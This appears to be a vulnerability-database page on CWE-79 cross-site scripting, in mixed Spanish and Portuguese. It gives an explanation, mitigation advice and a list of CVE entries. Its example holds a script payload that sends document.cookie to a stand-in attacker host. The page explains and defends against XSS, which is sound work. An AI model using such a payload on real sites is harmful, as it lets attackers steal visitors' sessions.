Fallos del tipo CWE-79

28.968 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-23633MEDIUM Label Studio XSS Vulnerability on Data ImportEPSS 0.6%CVE-2023-1179LOWSourceCodester Computer Parts Sales and Inventory System Add Supplier cross site scriptingEPSS 0.6%CVE-2023-27237MEDIUMLavaLite CMS v 9.0.0 was discovered to be vulnerable to a host header injection attack.EPSS 0.6%CVE-2021-3977MEDIUMCross-site Scripting (XSS) - Stored in invoiceninja/invoiceninjaEPSS 0.6%CVE-2023-2925LOWWebkul krayin crm Edit Person Page 2 cross site scriptingEPSS 0.6%CVE-2024-32333MEDIUMTOTOLINK N300RT V2.1.8-B20201030.1539 contains a Store Cross-site scripting (XSS) vulnerability in MAC Filtering under the Firewall Page.EPSS 0.6%CVE-2023-34452MEDIUMGrav vulnerable to Self Cross Site Scripting in /forgot_passwordEPSS 0.6%CVE-2016-15037LOWgo4rayyan Scumblr Task cross site scriptingEPSS 0.6%CVE-2023-5273LOWSourceCodester Best Courier Management System manage_parcel_status.php cross site scriptingEPSS 0.6%CVE-2022-2292LOWSourceCodester Hotel Management System Room Edit Page 1 cross site scriptingEPSS 0.6%CVE-2023-1799LOWEyouCMS login.php cross site scriptingEPSS 0.6%CVE-2022-2293LOWSourceCodester Simple Sales Management System create cross site scriptingEPSS 0.6%CVE-2021-34760MEDIUMCisco TelePresence Management Suite Stored Cross-Site Scripting VulnerabilityEPSS 0.6%CVE-2024-1038MEDIUMBeaver Builder – WordPress Page Builder <= 2.7.4.2 - Reflected (DOM-Based) Cross-Site ScriptingEPSS 0.6%CVE-2023-2678LOWSourceCodester File Tracker Manager System POST Parameter save_user.php cross site scriptingEPSS 0.6%CVE-2024-0976MEDIUMWP Event Manager <= 3.1.41 - Reflected Cross-Site Scripting via pluginEPSS 0.6%CVE-2022-43332MEDIUMA cross-site scripting (XSS) vulnerability in Wondercms v3.3.4 allows attackers to execute arbitrary web scripts or HTML via a crafted payloEPSS 0.6%CVE-2022-1945—Coming Soon and Maintenance by Colorlib < 1.0.99 - Admin+ Stored Cross Site ScriptingEPSS 0.6%CVE-2022-1393—WP Subtitle < 3.4.1 - Contributor+ Stored Cross-Site ScriptingEPSS 0.6%CVE-2024-0386HIGHweForms <= 1.6.21 - Unauthenticated Stored Cross-Site Scripting via RefererEPSS 0.6%